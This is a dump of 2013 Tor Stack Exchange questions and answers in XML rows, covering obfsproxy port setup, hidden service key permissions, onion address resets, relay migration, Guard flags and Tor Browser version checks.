  <row Id="560" PostTypeId="2" ParentId="543" CreationDate="2013-10-15T14:06:37.400" Score="5" Body="&lt;p&gt;This is kind of annoying at the moment and you give up running obfsproxy in managed mode, but you can do something like this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Setup your OS firewall to redirect port 80 (or 443) to a higher port:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note: just executing this command as root does not persist across reboots.  See your firewall documentation for how to set this up correctly.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Run obfs3 in standalone mode. You need to do this separately from launching Tor:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obfsproxy obfs3 --dest 127.0.0.1:9001 server YOUR_EXTERNAL_IP:8000&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the following line in the torrc to report that the obfsproxy instance is listening on port 80 to tor.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin obfs3 proxy YOUR_EXTERNAL_IP:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In an ideal world, we would come up with a solution to allow obfs3 to run in managed mode and support port forwarding (or to bind to ports &amp;lt; 1024), but till then this is probably the best that can be done.  See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/7875&quot; rel=&quot;nofollow&quot;&gt;#7875&lt;/a&gt; for discussion on the proper path to take.&lt;/p&gt;&#xA;" OwnerDisplayName="user78" LastEditorUserId="1041" LastEditDate="2014-07-02T19:40:19.410" LastActivityDate="2014-07-02T19:40:19.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="561" PostTypeId="1" CreationDate="2013-10-15T15:01:22.233" Score="1" ViewCount="2183" Body="&lt;p&gt;Is Tor by default redirect request to Hidden Service from &lt;strong&gt;&lt;a href=&quot;http://sha256domain.onion/private_key&quot; rel=&quot;nofollow&quot;&gt;http://sha256domain.onion/private_key&lt;/a&gt;&lt;/strong&gt; to &lt;a href=&quot;https://en.wikipedia.org/wiki/HTTP_403&quot; rel=&quot;nofollow&quot;&gt;403 Forbidden&lt;/a&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why the private key is stored in the public accessible directory, but /var/lib/tor?&lt;/p&gt;&#xA;" OwnerUserId="359" LastEditorUserId="131" LastEditDate="2013-10-16T20:42:32.140" LastActivityDate="2013-10-17T00:40:20.840" Title="Why is the private key of hidden service stored in the public accessible directory, but /var/lib/tor?" Tags="|onion-services|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="562" PostTypeId="2" ParentId="521" CreationDate="2013-10-15T15:27:16.997" Score="3" Body="&lt;p&gt;For a tutorial on client usage through tor see &lt;a href=&quot;https://stem.torproject.org/tutorials/to_russia_with_love.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Stem is one of the most feature complete controller libraries, but there's &lt;a href=&quot;https://stem.torproject.org/faq.html#are-there-any-other-controller-libraries&quot; rel=&quot;nofollow&quot;&gt;certainly others available too&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="172" LastActivityDate="2013-10-15T15:27:16.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="563" PostTypeId="1" CreationDate="2013-10-15T18:40:19.693" Score="2" ViewCount="297" Body="&lt;p&gt;Historically, Roger appears to have been interested in systems with at least a vague resemblance to Bitcoin: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://archives.seul.org//freehaven/dev/Nov-2001/msg00000.html&quot; rel=&quot;nofollow&quot;&gt;http://archives.seul.org//freehaven/dev/Nov-2001/msg00000.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;While I haven't used stylometry software or other means to try to confirm this, Roger's blog posts and e-mails for the Tor Project seem to bear some stylistic resemblance to Satoshi Nakamoto's e-mails as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone else suspected this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Others may completely disagree, and this is purely a speculative hunch on my part.  It goes without saying that I would be delighted if Roger considered answering this question directly, since I have the utmost trust in his honesty and integrity.&#xA;Cheers!&lt;/p&gt;&#xA;" OwnerUserId="393" LastActivityDate="2013-10-15T18:40:19.693" Title="Is the Tor Project's Roger Dingledine Satoshi Nakamoto, creator of Bitcoin?" Tags="|verification|" AnswerCount="0" CommentCount="2" ClosedDate="2013-10-16T05:40:53.220" ContentLicense="CC BY-SA 3.0" />
  <row Id="564" PostTypeId="5" CreationDate="2013-10-15T19:15:52.380" Score="0" Body="&lt;p&gt;A browser, also known as a web browser or an Internet browser, is a software application that displays and explores content on the World Wide Web. These pieces of content, which include images, videos, and web pages, are linked together with hyperlinks and categorized using URIs (Uniform Resource Identifiers).&lt;/p&gt;&#xA;" OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:23.253" LastActivityDate="2021-04-12T10:05:23.253" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="565" PostTypeId="4" CreationDate="2013-10-15T19:15:52.380" Score="0" Body="This tag should be used for questions about certain browser(s), generally the Tor browser." OwnerUserId="31632" LastEditorUserId="31632" LastEditDate="2021-04-12T10:05:38.190" LastActivityDate="2021-04-12T10:05:38.190" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="566" PostTypeId="2" ParentId="561" CreationDate="2013-10-15T19:27:13.713" Score="4" Body="&lt;p&gt;The key is not in a public accessible directory by default. Assume the hidden service is in the directory &lt;code&gt;hidden_service&lt;/code&gt;. This has the following permissions:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt; stat /var/lib/tor/hidden_service&#xA;File: `/var/lib/tor/hidden_service'&#xA;…&#xA;Access: (2700/drwx--S---)  Uid: (  117/debian-tor)   Gid: (  128/debian-tor)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the directory is only accessible by the user &lt;code&gt;debian-tor&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When talking about a hidden website you need to configure a webserver. Usually the webserver should not access the hidden service directory. Instead it should have an own root directory with all needed files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So in neither case the private key is publicly accessible.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-15T19:27:13.713" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="567" PostTypeId="1" AcceptedAnswerId="568" CreationDate="2013-10-15T20:28:38.217" Score="6" ViewCount="699" Body="&lt;p&gt;I have no particular interest in finding a specific, non-random URL (&lt;a href=&quot;https://tor.stackexchange.com/questions/10/how-do-hidden-services-get-onion-domains-that-arent-random&quot;&gt;How do Hidden Services get .onion domains that aren&amp;#39;t random?&lt;/a&gt;), but would like to reset an onion address for a given hidden service.  What is the best way to get a new, random .onion address?&lt;/p&gt;&#xA;" OwnerUserId="30" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2013-10-16T18:22:26.763" Title="What is the best way to reset a .onion address?" Tags="|onion-services|onion-routing|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="568" PostTypeId="2" ParentId="567" CreationDate="2013-10-15T20:33:48.087" Score="11" Body="&lt;p&gt;There is a  &lt;code&gt;HiddenServiceDir&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;. After you have stopped the Tor process, delete the above-mentioned directory and restart Tor. Now the directory contains two new files: &lt;code&gt;hostname&lt;/code&gt; and &lt;code&gt;private_key&lt;/code&gt;. The name in &lt;code&gt;hostname&lt;/code&gt; is now different from the previous version.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2013-10-15T20:33:48.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="569" PostTypeId="1" AcceptedAnswerId="570" CreationDate="2013-10-15T21:46:34.583" Score="3" ViewCount="354" Body="&lt;p&gt;I have an older computer I'd like to set Tor up on, but I'm trying to figure out if its Intel Pentium 2 will support it. I have 2GB of RAM, XP SP3, adequate graphic/audio cards, etc. I' just like to know if an Intel Pentium 2 will run it, and if so, will I get any notable issues?&lt;/p&gt;&#xA;" OwnerUserId="94" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:35.547" LastActivityDate="2014-03-04T08:22:35.547" Title="Minimum Processor required?" Tags="|configuration|windows|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="570" PostTypeId="2" ParentId="569" CreationDate="2013-10-16T00:19:19.800" Score="5" Body="&lt;p&gt;Currently there should be nothing preventing Tor from running on a Windows XP box with a Pentium 2 class CPU, and your system has more than sufficient RAM for most use cases (Quite a few people run Tor successfully on the Raspberry Pi).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Windows XP is approaching End of Life, and it is unknown how long the Tor Project will continue to support Windows XP past that date  (Using a operating system that is no longer getting security updates is suboptimal in general).&lt;/li&gt;&#xA;&lt;li&gt;The developers are in the process of incorporating a better optimized Curve25519 implementation that requires SSE2.  Once this code is in official builds, you will need to compile your own copy of Tor (See &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8897&quot;&gt;#8897&lt;/a&gt;).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerDisplayName="user78" LastActivityDate="2013-10-16T00:19:19.800" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="571" PostTypeId="1" CreationDate="2013-10-16T01:05:54.910" Score="1" ViewCount="4141" Body="&lt;p&gt;Yesterday I tried to start TBB and got a message saying that the executable file could not be found. I clicked the link in Vidalia settings and it shows the the location for the exe file being in program files when I had saved the TBB directory on my desktop. I uninstalled tor and reinstalled using same zip file. It worked fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today same problem occured again.&#xA;I looked at the TBB folder and noticed that a new folder had been created at around the same time I attempted to start tor. The file path created was &lt;code&gt;C:\users\xxxxxx\Desktop\Torbrowser\App\**Data\Vidalia\torrc**&lt;/code&gt;&#xA;I also noticed that 20 minutes later a &lt;code&gt;desktop.ini&lt;/code&gt; file appeared which read&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[ViewState]&#xA;Mode=&#xA;Vid=&#xA;FolderType=Generic&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Could anybody help to explain this problem?&#xA;This information may also be relevant today I noticed that my &lt;code&gt;pagefile.sys&lt;/code&gt; has disappeared and also recently I fakeflash trojan (fakeadobe.zusy according to spybot) among other malware issues and have been running a lot of different malware removal and registry repair software without the proper knowledge to do so,(but im not totally clueless) so I'm hoping that these mystery files are a result of a damaged registry and not something more sinister&lt;/p&gt;&#xA;" OwnerUserId="394" LastEditorUserId="88" LastEditDate="2013-10-17T18:41:41.167" LastActivityDate="2013-10-18T13:37:55.933" Title="Tor executable file location not found on startup and new file folders created in TBB directory not part of installation" Tags="|tor-browser-bundle|security|attacks|support|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="572" PostTypeId="2" ParentId="538" CreationDate="2013-10-16T01:21:32.983" Score="1" Body="&lt;p&gt;It's pseudonymous rather than anonymous.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What's the difference between pseudonymity and anonymity? That deserves its own question.&lt;/p&gt;&#xA;" OwnerUserId="80" LastActivityDate="2013-10-16T01:21:32.983" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="573" PostTypeId="1" AcceptedAnswerId="575" CreationDate="2013-10-16T01:56:37.790" Score="11" ViewCount="1651" Body="&lt;p&gt;If all TBB versions have the same user-agent/fingerprinting, then how does torcheck check if TBB is up to date? &#xA;How the &quot;know if I'm up to date&quot; system works?&lt;/p&gt;&#xA;" OwnerUserId="306" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:05.950" LastActivityDate="2014-03-04T08:22:05.950" Title="How does check.torproject.org know if TBB is up to date?" Tags="|tor-browser-bundle|fingerprinting|torcheck|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="574" PostTypeId="2" ParentId="573" CreationDate="2013-10-16T03:46:34.900" Score="3" Body="&lt;p&gt;check.torproject.org has a manually updated &lt;a href=&quot;https://check.torproject.org/RecommendedTBBVersions&quot; rel=&quot;nofollow&quot;&gt;list of &quot;recommended&quot; Tor Browser Bundle versions&lt;/a&gt;. It is trivial to check TBB's version against this list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser Bundle's own version number is updated whenever any of its components are updated. The User-Agent string is not used at all. The actual version check is &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/blob/HEAD:/src/chrome/content/torbutton.js#l1020&quot; rel=&quot;nofollow&quot;&gt;done by the Torbutton component&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="201" LastEditorUserId="201" LastEditDate="2013-10-16T07:15:20.133" LastActivityDate="2013-10-16T07:15:20.133" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="575" PostTypeId="2" ParentId="573" CreationDate="2013-10-16T12:55:22.830" Score="9" Body="&lt;p&gt;&lt;a href=&quot;https://check.torproject.org/&quot;&gt;check.torproject.org&lt;/a&gt; does not test the version of your TBB (Tor Browser Bundle). The test is performed by the TBB itself and the information is explicitly passed to the server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Firefox preferences check the &lt;em&gt;Home Page&lt;/em&gt; setting. When TBB is up to date you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://check.torproject.org/?lang=en-US&amp;amp;small=1&amp;amp;uptodate=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when TBB is out of date, you will see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;https://check.torproject.org/?lang=en-US&amp;amp;small=1&amp;amp;uptodate=0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So TBB itself (precisely said Torbutton) downloads &lt;a href=&quot;https://check.torproject.org/RecommendedTBBVersions&quot;&gt;list of recommended TBB versions&lt;/a&gt;, compares the installed version to it and tells the check.torproject.org server if it is up to date by the &lt;code&gt;uptodate&lt;/code&gt; parameter in the URL. The check is performed by the &lt;a href=&quot;https://www.torproject.org/torbutton/&quot;&gt;Torbutton&lt;/a&gt; Firefox extension and then the Home Page is updated accordingly. See &lt;a href=&quot;https://gitweb.torproject.org/torbutton.git/blob/refs/tags/1.5.2:/src/chrome/content/torbutton.js&quot;&gt;torbutton.js&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If check.torproject.org was able to directly see your TBB version then it would be a very serious security flaw.&lt;/p&gt;&#xA;" OwnerUserId="114" LastActivityDate="2013-10-16T12:55:22.830" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="576" PostTypeId="1" CreationDate="2013-10-16T13:36:25.567" Score="3" ViewCount="911" Body="&lt;p&gt;I have a Mac OS X server with a PPTP VPN server running. I want to connect my iPhone to Tor by routing all traffic via my VPN server.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I configure my server to route the outgoing traffic over Tor?&lt;/p&gt;&#xA;" OwnerUserId="138" LastEditorUserId="923" LastEditDate="2014-03-04T08:22:44.657" LastActivityDate="2015-03-25T08:32:07.383" Title="PPTP VPN to Tor" Tags="|configuration|mac|vpn|mobile|" AnswerCount="0" CommentCount="4" ClosedDate="2015-08-21T22:48:01.953" ContentLicense="CC BY-SA 3.0" />
  <row Id="577" PostTypeId="1" AcceptedAnswerId="579" CreationDate="2013-10-16T15:43:20.653" Score="9" ViewCount="2091" Body="&lt;p&gt;Supposing one runs a server on some server and wants to move it to another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can this be done without losing the flags (like stable, guard, named) and the progress to get a t-shirt, if certain conditions are met?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What files/folders have to be copied over?&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="923" LastEditDate="2014-03-04T08:23:16.330" LastActivityDate="2014-07-02T22:00:33.750" Title="How can one move its relay to another server without losing anything?" Tags="|relays|flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="578" PostTypeId="2" ParentId="543" CreationDate="2013-10-16T16:36:02.293" Score="1" Body="&lt;p&gt;On Windows any user can make use of any port, as long as it is not in use already.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Adding the following lines to your torrc, with Obfsproxy already in place.[*]&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportPlugin obfs3 exec X:\$pathtoexecutable\obfsproxy.exe managed&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where X: is the drive the binary was placed on, what is most likely C:\&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportListenAddr obfs3 0.0.0.0:80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerTransportListenAddr obfs3 0.0.0.0:443&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;[*] &lt;em&gt;Please note, that there is currently no Obfsproxy package for Windows, one way is to take the relevant files from the Pluggable Transport Bundle.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2013-10-16T16:41:09.720" LastActivityDate="2013-10-16T16:41:09.720" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="579" PostTypeId="2" ParentId="577" CreationDate="2013-10-16T16:47:28.490" Score="8" Body="&lt;p&gt;Just install Tor on the new server and then copy over your torrc file and the files from the Tor data directory on the old server: &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#UpgradeOrMove&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/docs/faq.html.en#UpgradeOrMove&lt;/a&gt;&#xA;The data directory is in different locations depending on your OS. On Linux it's located at: /var/lib/tor. You can skip the &quot;cached-&quot; files, copying them can cause some start up warnings on the new Tor instance.&lt;/p&gt;&#xA;" OwnerUserId="348" LastEditorUserId="923" LastEditDate="2014-07-02T22:00:33.750" LastActivityDate="2014-07-02T22:00:33.750" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="580" PostTypeId="2" ParentId="538" CreationDate="2013-10-17T00:32:50.483" Score="2" Body="&lt;p&gt;Configuring another browser to connect using Tor is reasonably easy. The more difficult problems are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Making certain that all the traffic goes through Tor, including DNS requests.&lt;/li&gt;&#xA;&lt;li&gt;Eliminating all the means by which your browser can reveal your real IP.&lt;/li&gt;&#xA;&lt;li&gt;Making the data revealed via javascript, browser headers, ETags, etc agree with each other without appearing unique in any way.&lt;/li&gt;&#xA;&lt;li&gt;Being in control of all attempts to &quot;call home&quot; by your browser, including the extensions and plugins and all attempts to install, update, or modify them.&lt;/li&gt;&#xA;&lt;li&gt;Properly configuring the history, cookies, cache, and any other data storage to not reveal anything that can be used to identify, track, or profile you. &lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The Tor Browser is equipped and configured to make it very difficult to tell one Tor Browser user from another, but it doesn't hide the fact that you are using the Tor Browser. Torrifying your own browser can make it more difficult to identify you as a Tor user. That said, if you overlook anything, make a mistake with your setup, or fail to secure it against undesired changes, you're uniquely identifiable. Most users don't have the skills necessary to accomplish these things or the patience to examine and test all of the necessary details. It's entirely possible to make another browser work properly through Tor. It's just a lot more work than most realize.&lt;/p&gt;&#xA;" OwnerUserId="355" LastActivityDate="2013-10-17T00:32:50.483" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="581" PostTypeId="2" ParentId="561" CreationDate="2013-10-17T00:40:20.840" Score="2" Body="&lt;p&gt;As Jens Kubieziel notes in his answer, &lt;code&gt;/var/lib/tor/hidden_service&lt;/code&gt; &quot;is only accessible by the user &lt;code&gt;debian-tor&lt;/code&gt;.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For greater security, one can use full-disk encryption using dm-crypt with LUKS, and enable unattended reboot using a Mandos server. One can also keep &lt;code&gt;/var/lib/tor&lt;/code&gt; in a TrueCrypt volume, and decrypt after boot. It might also be possible to secure &lt;code&gt;/var/lib/tor&lt;/code&gt; from rights escalation attacks through advanced Linux foo.&lt;/p&gt;&#xA;" OwnerUserId="100" LastActivityDate="2013-10-17T00:40:20.840" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="582" PostTypeId="2" ParentId="559" CreationDate="2013-10-17T06:59:56.600" Score="5" Body="&lt;p&gt;First, let's consider that &quot;the goal is to prevent an eavesdropper on the local end from noticing Tor usage&quot;. For argument's sake, let's say that it's easier, at any particular time, to identify all VPN service entry servers than it is to identify all Tor bridges. And let's say that all Internet traffic is logged, and at least metadata (such as IP addresses, times and so on) is retained indefinitely.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although Tor bridges may well be &quot;harder to monitor&quot;, it's arguable that this is so only transiently. That is, sooner or later, virtually all Tor bridges are identified, and replaced with new bridges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If that assessment is accurate, consider the implications for observers of my ISP-assigned IP address. If I were using Tor bridges, all of my prior traffic to a particular Tor bridge would be readily found once that bridge had been identified. And my Tor use would be apparent, given that all Tor bridges (I assume) lead to Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I were instead accessing Tor through a VPN service, identifying my Tor use would require either traffic analysis based on intercepts, or access to VPN connection logs. In contrast to the Tor-bridge scenario, identification of past Tor use would arguably become harder over time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But of course, if I were truly concerned about hiding my Tor use, I would use both VPN services (in nested chains) and Tor bridges with Obfsproxy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, regarding the &quot;benefit to stringing together multiple VPNs that cannot be achieved by increasing the number of relays per circuit&quot;, the most obvious one is usability. On a good day, I can get at least 5 Mbps each way with a nested chain of three VPN services, with latency under 400 msec. With the standard Tor configuration, I'm lucky to get 2-3 Mbps each way, and latency is typically 1000-2000 msec.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another benefit of using multiple VPNs instead of Tor bridges is that Tor traffic is further disassociated from users. Even if one could chain multiple Tor bridges, all prior Tor use would be revealed as soon as the initial bridge had been identified.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Identifying Tor users in VPN traffic, especially retrospectively, is arguably harder than searching based on known Tor bridges. Many people use VPN services, far more than use Tor. BitTorrent use and HD video streaming account for a substantial and increasing share of Internet throughput overall. And, in response to efforts to block &quot;piracy&quot;, that traffic is increasingly migrating to VPN services.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="100" LastEditDate="2013-10-18T02:17:01.717" LastActivityDate="2013-10-18T02:17:01.717" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="583" PostTypeId="1" CreationDate="2013-10-17T09:03:41.170" Score="7" ViewCount="739" Body="&lt;p&gt;I tried to start Tor in a computer pool and it failed. The PCs were running Windows 7. I downloaded the latest Tor Browser Bundle and executed the start script. Almost immediately a warning appeared the Tor could not bet started. In the log file I found the following lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Okt 17 10:51:57.483 [Notice] Tor v0.2.3.25 (git-17c24b3118224d65) running on Windows 7.&#xA;Okt 17 10:51:57.483 [Notice] Read configuration file &quot;[..]\torrc&quot;.&#xA;Okt 17 10:51:57.483 [Warning] Warning from libevent: evsig_init: socketpair: Invalid argument [WSAEINVAL ]&#xA;Okt 17 10:51:57.483 [Notice] Initialized libevent version 2.0.21-stable using method win32. Good.&#xA;Okt 17 10:51:57.483 [Notice] Opening Socks listener on 127.0.0.1:9150&#xA;Okt 17 10:51:57.483 [Warning] Socket creation failed: Invalid argument [WSAEINVAL ]&#xA;Okt 17 10:51:57.483 [Notice] Opening Control listener on 127.0.0.1:9151&#xA;Okt 17 10:51:57.483 [Warning] Socket creation failed: Invalid argument [WSAEINVAL ]&#xA;Okt 17 10:51:57.483 [Warning] Failed to parse/validate config: Failed to bind one of the listener ports.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that some local policy prevented Tor from opening ports 9150 and 9151. I tried some other random ports (between 1024 and 65535) none of them worked. Is it possible to use Tor on those machines? If so, how?&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="923" LastEditDate="2014-03-04T08:19:17.987" LastActivityDate="2014-03-04T08:19:17.987" Title="Socket creation failed -- TBB unable to start Tor" Tags="|tor-browser-bundle|windows|socks|client|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="584" PostTypeId="1" AcceptedAnswerId="586" CreationDate="2013-10-17T10:42:31.310" Score="6" ViewCount="647" Body="&lt;p&gt;My relay's outgoing traffic is limited, so I had to enable accounting. The limit hasn't been reached for a while now and recently my relay received the Guard flag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will this flag be lost the next time my relay goes into hibernation, turning it into a normal middle relay again?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if this negatively impacts clients trying to use this Guard, is there a way to refuse the Guard flag?&lt;/p&gt;&#xA;" OwnerUserId="72" LastActivityDate="2013-10-17T16:16:56.533" Title="Will hibernation cause my relay to lose the Guard flag?" Tags="|relays|configuration|guard|flags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="585" PostTypeId="1" AcceptedAnswerId="587" CreationDate="2013-10-17T13:31:13.353" Score="6" ViewCount="243" Body="&lt;p&gt;Why are there separate packages for pluggable-transport versions of TBB?  Seeing as how anonymity is the point of Tor, why wouldn't traffic be camouflaged by default?  Especially since various governments and agencies give it extra attention.&lt;/p&gt;&#xA;" OwnerUserId="274" LastEditorUserId="923" LastEditDate="2014-03-04T08:19:33.130" LastActivityDate="2014-03-04T08:19:33.130" Title="Why aren't pluggable transports default?" Tags="|tor-browser-bundle|pluggable-transports|obfsproxy|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="586" PostTypeId="2" ParentId="584" CreationDate="2013-10-17T15:36:48.043" Score="4" Body="&lt;p&gt;The guard flag is only given to servers that are sufficiently fast and stable [&lt;a href=&quot;https://gitweb.torproject.org/torspec.git/blob/ecf9d02b5bf3d17fd90630f006591768a7473c22:/dir-spec.txt#l1775&quot; rel=&quot;nofollow&quot;&gt;dir-spec&lt;/a&gt;].  Stable means being available most of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So yes, if your relay goes down due to hibernation this can result in your relay not getting the guard flag next time it becomes available.  Clients will deal with this and just pick new/more guards.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not aware of any means to refuse the guard flag.&lt;/p&gt;&#xA;" OwnerUserId="58" LastEditorUserId="58" LastEditDate="2013-10-17T16:16:56.533" LastActivityDate="2013-10-17T16:16:56.533" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="587" PostTypeId="2" ParentId="585" CreationDate="2013-10-17T15:42:57.693" Score="5" Body="&lt;p&gt;To connect using Pluggable Transports as a client, you need to know about at least one bridge relay that offers this particular pluggable transport.  This list of bridges is not public, because that would make them trivial to block - directly working against the point of having bridges in the first place.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you connect to the Tor network directly, you don't need any special knowledge.  Your Tor client can query the publicly available directory servers and learn about all the Tor relays there are and connect and use the Tor network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The anonymity comes from using the public Tor network to build your connections.  Pluggable transports don't provide anonymity - their goal is to allow you to connect to the Tor cloud in the first place in case you are in a location that filters your Internet.&lt;/p&gt;&#xA;" OwnerUserId="58" LastActivityDate="2013-10-17T15:42:57.693" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="588" PostTypeId="1" AcceptedAnswerId="589" CreationDate="2013-10-17T16:50:52.583" Score="7" ViewCount="569" Body="&lt;p&gt;I'm looking for a list of the operating systems/architectures Tor runs on while being supported by the Tor Project, and if it can be compiled on other system not directly supported by the Tor Project.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;What platforms are currently supported by the Tor Project, i.e. for which platforms does the Tor project provide packages?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;What platforms can Tor be compiled on and is known to work on?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="131" LastEditorUserId="71" LastEditDate="2013-12-10T18:03:30.990" LastActivityDate="2016-08-11T08:30:08.387" Title="What platforms does Tor work on?" Tags="|source-code|platform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
